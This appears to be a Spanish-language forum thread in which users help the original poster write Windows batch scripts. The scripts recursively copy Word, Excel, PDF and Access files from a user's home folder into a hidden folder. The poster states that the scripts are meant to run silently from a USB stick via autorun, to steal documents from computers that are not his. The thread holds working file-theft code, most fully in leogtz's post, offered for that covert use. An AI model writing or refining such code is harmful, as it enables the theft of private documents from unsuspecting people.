Combinación lógica en sentencia IF [Batch]

Iniciado por IWKY, 26 Junio 2010, 03:29 AM

0 Miembros y 1 Visitante están viendo este tema.

flony

#10
por ahi las soluciones mas simples son mejores que un codigo bonito...por lo que veo tratas de copiar archivos word y excel a una carpeta save...pues porque no usas copy y despues usando copiar pegar le vas cambiando las extensiones de archivos por cada extensión...
move "E:\Ares\My Shared Folder\___ARESTRA___*" "E:\Flony\flony14\videos"
jaja este rea un code para mover o sea cortar pegar de una carpeta a otra pero el concepto seria mas o menos
IF EXIST *.doc (copy /y %HOMEPATH% *.doc %save%)
IF EXIST *.docx (copy /y%HOMEPATH% *.docx %save%)
rem etc etc

va a tardar un cacho eso casi seguro depende de cuantos archivos tenga...pero bue  :rolleyes: es mas lento hacerlo a mano  :laugh: y seguro ocuparia mas espacio en tu pc.. :rolleyes:...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)
de ultima este me parece mejor
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.*) DO copy %%x %save%)
jijiji el ultimo no lo probe pero me parece mejor....copiaria todo...
o
IF EXIST %HOMEPATH% (FOR /R %HOMEPATH% %%x in (*.doc) DO copy %%x %save%)
y le vas agregando las extensiones
si un problema no tiene solucion entonces no es un problema...es algo inevitable

leogtz

#11
He probado esto y funciona:

Código (dos) [Seleccionar]
@echo off
set "save=%~dp0save"
if not exist "%save%" (
mkdir "%save%" 2> nul
atrib +r +h "%save%" 2> nul
)
cd /d "%homepath%\"
for /r %%# in (*.*) do (
for %%_ in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
echo %%# | findstr /r /i "%%_\>" > nul 2>&1 && (
copy /y "%%#" "%save%" > nul 2>&1
)
)
)
exit /b 0


Teniendo solo conocimientos básicos de batch es dificil hacerlo.

Por mi consideren a Batch como quieran, yo lo sigo usando como una herramienta más.

Saludos.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

flony

no lo probe....tampoco lo haria  :laugh: pero es muy bonito el code leo...y viniendo de ud. que mas se puede esperar  ;-)
si un problema no tiene solucion entonces no es un problema...es algo inevitable

IWKY

Ahora estoy fuera y no puedo probar nada, pero la idea del code es que un autorun.inf en un pendrive, lanza un ejecutable que abre el Explorer con la carpeta del pendrive y ocultamente lanza el batch, que trata de copiar todos los documentos  (que interesan) del directorio del usuario a una carpeta oculta en el pendrive.

Cita de: flony en 26 Junio 2010, 16:52 PM
...es tu pc?  :¬¬  :laugh: xq es oculta  ;-)

No, no es mi PC, como ya he dicho antes es una especie de roba-información. Está claro que no es lo último en ocultamiento pero puede engañar a más de uno.

Cuando lleve a casa publicaré todo el code y opinaís.


Un saludo
Por internet libre http://red-sostenible.net/
El mejor momento de Dragon Ball Z --> Aqui